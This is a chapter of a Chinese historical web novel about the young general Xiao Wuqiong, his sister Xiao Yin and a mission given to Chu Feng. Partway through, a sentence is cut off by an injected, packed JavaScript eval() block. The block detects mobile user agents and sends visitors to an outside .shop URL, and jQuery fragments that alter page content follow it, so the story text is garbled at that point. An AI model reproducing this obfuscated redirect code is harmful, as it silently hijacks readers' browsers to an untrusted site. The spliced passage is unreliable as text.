谢孟瀚坐在桌案前,指尖点着纸上上报的结果,抬眼看向一旁悠然品茶的萧无穷,喉间溢出一声气笑:“我绞尽脑汁改了那么多遍,竟还不如你灵机一动随手一写。”
萧无穷指尖摩挲着茶盏边缘,语气带笑:“没办法,太有才华了。”
“你可真够自恋的,”谢孟瀚怒气冲冲的走过来,把一张纸推过去,“你自己看看你写的,哪点沾得上‘才华’二字?”
“这不挺好?”萧无穷随手拿起纸扫了眼。
“呵,”谢孟瀚冷笑一声,“‘喜鹊报喜,翘首以盼处,是新生’,也就还说的过去吧,但是‘鹊翘路’,你听听这个名儿,它哪处好听了?”
他又把自己的手稿递到萧无穷眼前,“你再看看我的——‘嘉禾引道,风来谷满,岁岁安’,取名‘嘉禾路’,既合着农田的景,又盼着收成,哪点不比你那空泛的强?”
“可能你这个太雅了,百姓听着费劲,不太适合。”萧无穷放下茶盏,慢悠悠道。
“好,算我这个华而不实,”谢孟瀚又抽了张纸,语气带着几分不服,“那徐大人拟的‘盈仓路’呢?‘春种盈田,秋入满仓’,直白又讨喜,不比你那‘鹊翘路’接地气?”
萧无穷挑了挑眉,语气散漫:“可能,我这个合眼缘吧。”
“那还真是好一个‘合眼缘’!”谢孟瀚气笑,“现在整个城里谁不知道‘鹊翘路’三个字是你萧无穷写的?我真傻,当初定稿时怎么就犯懒,没把你们交上来的名字重新誊抄一遍,让他们只看内容不看名字!”
“你这也太夸张了吧?他们又不认识我的字。”萧无穷无奈道。
“他们是不认识,但文渊堂的夫子、还有你当年的那群同窗总认识吧?”谢孟瀚反驳道,“稍微打听两句,这不就全知道了。”
“你想多了吧。”萧无穷不以为意,“这么麻烦的事,他们图什么?”
谢孟瀚坐到他旁边的椅子上,把手里的纸往头上一盖,叹着气拉长了语调:“我也想知道他们图什么……唉,有名气就是好啊。”
萧无穷刚踏出知府衙门的门槛,寒风就裹着些微尘土扑在脸上。守在门边的随从立刻迎上来,“萧哥,还是直接去校场?”
他抬眼望了望衙门外那条蜿蜒向远处的青石板路好一会,开口道,“今日我另有事,你不必跟着了。”
“那好,那我就先回去了。”那人爽快应下后就离开了。
萧无穷顺着结了层薄霜的路一直往前走,不知不觉已来到了城中心,他抬头看见墙面上新张贴的告示,泛黄的纸页上印着东城门的新名字,旁边另一张纸上,那条将要修建的路名也格外醒目。
好像,这一切都和他有关。
萧无穷盯着告示出神,忽然被人撞了个趔趄。
“哎哟!”撞人的男孩捂着额头往后退了两步,低头道歉:“对、对不起,叔叔!”
“牛二!你磨磨蹭蹭干啥呢?快过来!”不远处又跑过来个穿棉袄的小孩,拉着男孩的袖子就想走,目光扫过萧无穷时,却突然顿住,眼睛一下子亮了,“哇!叔叔,你长得好像萧小将军啊!”
萧无穷让自己弯了弯唇角,“是吗?真巧。”
“我长大了也要当萧小将军!”小男孩立刻挺起小胸脯,冻得红扑扑的脸上满是认真,“要像他一样保家卫国,不让坏人进来!”
“我也是我也是!”被叫牛二的小男孩也跟着嚷嚷,小拳头攥得紧紧的。
“你们俩快点!要开始啦!”身后又有声音响起,还待着点急切。
萧无穷转过身,正好对上一群戴着面具、拿着木刀的小孩,个个穿着厚实的棉服,鼻尖冻得通红,眼里却闪着光。
“来了!”刚才喊牛二的小孩着急的跑了过去,边跑边把手里的面具往脸上戴,“萧小将军萧无穷在此!山匪哪里跑!”
牛二还站在原地,看着萧无穷,小手攥着衣角,有点不好意思:“叔叔,我……”
“我没事。去玩吧。”
“谢谢叔叔!”牛二立刻笑起来,撒腿就追,“你们等等我!这次该我当萧小将军啦!”
“怎么样,可爱吧?”
萧音的声音裹着风从身后传来,带着点戏谑的笑意。萧无穷转过身,见她裹着件杏色棉袍,发间还别着支小巧的银簪,挂着甜甜的笑。
“姐姐怎么在这?”萧无穷抬手自然的拢了拢她被风吹乱的衣领。
“我来玩啊。”萧音挑眉,伸手戳了戳他的胳膊,“你在这明明才更奇怪好吗?往常这个时辰,你早该在演武场射箭了。”
萧无穷被她说得笑了笑,没反驳。
萧音立刻顺势挽住他的胳膊,“走,好不容易抓着你一次,陪我逛街。”她拉着人往前走,脚步轻快,“可惜你来得不是时候,今天没有集市,少了好些好吃的。”
“让我想想啊,这附近有什么好吃的……嗯……”她眼睛亮了亮,侧头看向萧无穷:“有了!走喽!”
两人转进巷口,就见一家小铺前飘着热气,铁锅里的栗子正滚得沙沙响。萧音松开他的胳膊,快步上前,隔着柜台笑喊:“刘叔,怎么就你自己,婶子那?给我装一斤糖炒栗子,要热乎的!”
“哟,萧小姐来啦!”柜台后围着围裙的妇人闻声里面走了出来,手脚麻利地拿起纸袋子,往里面舀了满满一袋刚出锅的栗子,“这刚炒好的,还烫嘴呢,您拿好。”
萧音接过袋子,从荷包里掏出几枚铜钱放在桌案上:“谢谢刘婶。”
“哎哎哎,这钱您拿回去!”刘婶急忙摆手,把铜钱往她那边推了推,“就这点栗子,哪用得着给钱,您拿着吃就是。”
“刘婶,您这样可不行。”萧音一脸委屈,“您要是不收钱,下次我可不好意思再来了,还是说,刘婶您其实是不想看见我?”
“萧小姐,您这说的是什么话!”刘婶急了,连忙摆手,“您知道的,我不是这个意思,就是觉得……”
“我不知道啊,您把钱收下,我就知道您还欢迎我。”萧音打断她,把铜钱往她手里塞。
刘婶犹豫了片刻,只好叹着气把铜钱收下,转身又拿起勺子,往萧音的纸袋子里多舀了好几颗栗子:“得得得,我收,我收还不行吗?这多加的可不是给你的,是给萧小将军的,您总不能替萧小将军拒绝我吧?”
“刘婶,您这也太客气了……”萧音想阻拦,却被刘婶笑着推开了手。
“客气啥,萧小将军吃我几颗栗子还不是应该的!”刘婶说着,目光落在萧无穷身上,好奇地问,“萧小姐,这位是?看着眼生,以前没在您身边见过啊。”
“他啊?”萧音回头看了萧无穷一眼,忍着笑故意说,“大小姐身边的护卫。”
出了铺子,萧音把还冒着热气的栗子袋塞进萧无穷怀里,促狭地眨了眨眼:“喏,人家点名给你的,快拿着。”
一路上,萧音嘴就没停过,絮絮叨叨说些琐事。路过的人见了她,总会停下脚步聊几句家长里短,她应答得游刃有余,连谁家的鸡丢了、谁家有几个孩子都知道,仿佛整条街的事都瞒不过她。萧无穷就安静地站在一旁,极少插话。
偶尔有人好奇地打量他,萧音便笑得带点狡黠,拍着他的肩膀解释:“他啊?是大小姐身边的护卫。”
等路人走了,萧无穷才轻声开口:“姐姐认识这么多人。”
“那是,”萧音立刻扬起下巴,带着点小得意,随机她用胳膊肘轻轻撞了撞他,眼底满是笑意,“谁让你天天戴着面具装神秘,现在好了吧?就算你站在他们面前,他们都不认识你。咱们萧小将军,名声招摇,人却不招摇。”
萧无穷笑着看向她,“自是不如姐姐。”
“我?”萧音挑了挑眉,笑得爽朗:“姐姐我名声招摇,人也招摇。”
“对了,有个好东西,我带你去看看。”萧音眼睛一亮,突然攥住萧无穷的手腕,拉着他就往巷尾跑,“快点,应该还没结束。”
西北的风裹着市井喧闹扑面而来,拐过两个拐角,前方骤然传来阵阵叫好声,间或夹杂着醒木拍案的脆响。
帆布搭的棚子下挤满了人,连棚外都围了好几圈踮脚听书的百姓。
萧音熟门熟路地拉着他挤到棚角,靠着根木柱站着,萧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635284|184451||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无穷不明所以间就听见棚内说书先生拍了醒木,声如洪钟。
“话说那山匪团团围住咱们的士兵,刀光剑影间,眼看就要出人命——就在这时!”先生故意顿了顿,手指在空中一划,“只见一道银光破风而来,那只八棱锏‘哐当’砸在山匪头子天灵盖上!紧接着萧小将军手握另一只锏,如天神降世般从暗处跃出……”
在周围百姓的叫好中,萧无穷听得低笑出声,侧头对萧音道:“他说的这分明是姐姐。”
萧音却侧过脸,眼底盛着笑,伸出一根纤细的手指在他面前轻轻摇了摇,声音裹在喧闹里却异常清晰:“不不不,先生说的是我们”
风掠过巷口,卷起地上的枯草碎屑。
萧无穷恍惚间发觉,今日种种竟都记得异常清楚。
尤其是此刻,她抬眼望他时从帆布缝隙漏进来,落在她眼尾的细碎日光。而那“是我们”。
三个月后,黟屏城
楚风踏入校尉府,指尖无意识攥紧了衣摆,“校尉,您找我……是有什么事吗?”
“楚风来了,快坐,快坐。”孙伯崇笑着起身,顺手给他倒了杯热茶,目光落在他身上时满是感慨,“当年你刚来的时候,才到我腰这么高,如今都长成能独当一面的大小伙了。”
楚风垂着眼,手指摩挲着茶杯边缘:“是,当年我父母在逃难路上没了,若不是校尉收留我,还教我武功,我恐怕活不到现在。”
“大难不死,必有后福啊。”孙伯崇叹了句,话锋一转,“小风,我听说你救了老萧家那孩子?”
“算不上救。”楚风连忙摆手,“就是正好遇上,搭了把手而已,不值一提。”
“那你们关系应该不错吧?”孙伯崇追问。
“也不算。”楚风指尖微微收紧,眼神有些闪躲,“就是偶尔遇上,说过几句话。他们待人温和,很好相处,是个好人。”
孙伯崇点点头:“老萧家那两个孩子,将来必定不是池中之物。你往后可以多跟他们走动走动,咱们这四城本就命运与共,你们年轻人处好关系,将来对你总归是有好处的。”
楚风喉结动了动,没接话。
“对了,你上次剿匪,表现得很出色,如今在城里也算是小有名气了。这次的事情我就交给你全全负责了,这次你要是能办成,我正好借机给你请封个都司,也算是给你这么多年的努力一个交代。”
楚风连忙起身推辞,眼神里满是慌乱,“校尉,这不行,我不合适……”
“怎么不合适?你小子有实力,就是平时太低调,总把自己藏着,不显山露水的。这都司之位,你担得起。”
“真的不行。”楚风往后退了半步,“校尉,您还是让别人去吧,比我有能力的人多的是,我……我做不来。”
孙伯崇看着他紧绷的神情,轻轻叹了口气:“我已经找了一圈,论心性、论能力,你是最合适的。汾州城的叶羽已经出发了,晋宁城那边,必定是凌逸晓那小子去——他去了,萧家那孩子也跑不了。正好他们几个都跟你认识,你们一起去,我们也放心。”
“校尉,就……就不能是其他人了吗?”
孙伯崇看着楚风,语气里多了几分无奈:“那你说说,咱们黟屏城还有比你更合适的人吗?”
他顿了顿,声音放轻了些,“你也知道,咱们黟屏城本就是四城里最弱的。莘阳城是西域边城,守军实力雄厚,萧天阔是从朝廷直接派下来的,根基稳;晋宁城有凌逸晓、凌亦庄,背后靠着泽东凌氏,如今凌氏势力一日比一日强;汾州城邻泽丘关、接武煌城,是咱们这唯一有一两个商队的城池。”
楚风垂着头,沉默了许久才缓缓抬起头,声音带着几分沙哑,却还是妥协了:“好的校尉,我知道了,我去。”
孙伯崇闻言,嘴角的笑意又深了几分,拍了拍他的肩:“我就说没看错你。你去选几个得力的人跟着,明日一早启程往莘阳城,和萧家那小子一起去。对了,顺便帮我护送个人过去。”
“送人?”楚风眉头微蹙,追问了一句。
孙伯崇勾着唇角神秘一笑,“咱们的贵人。”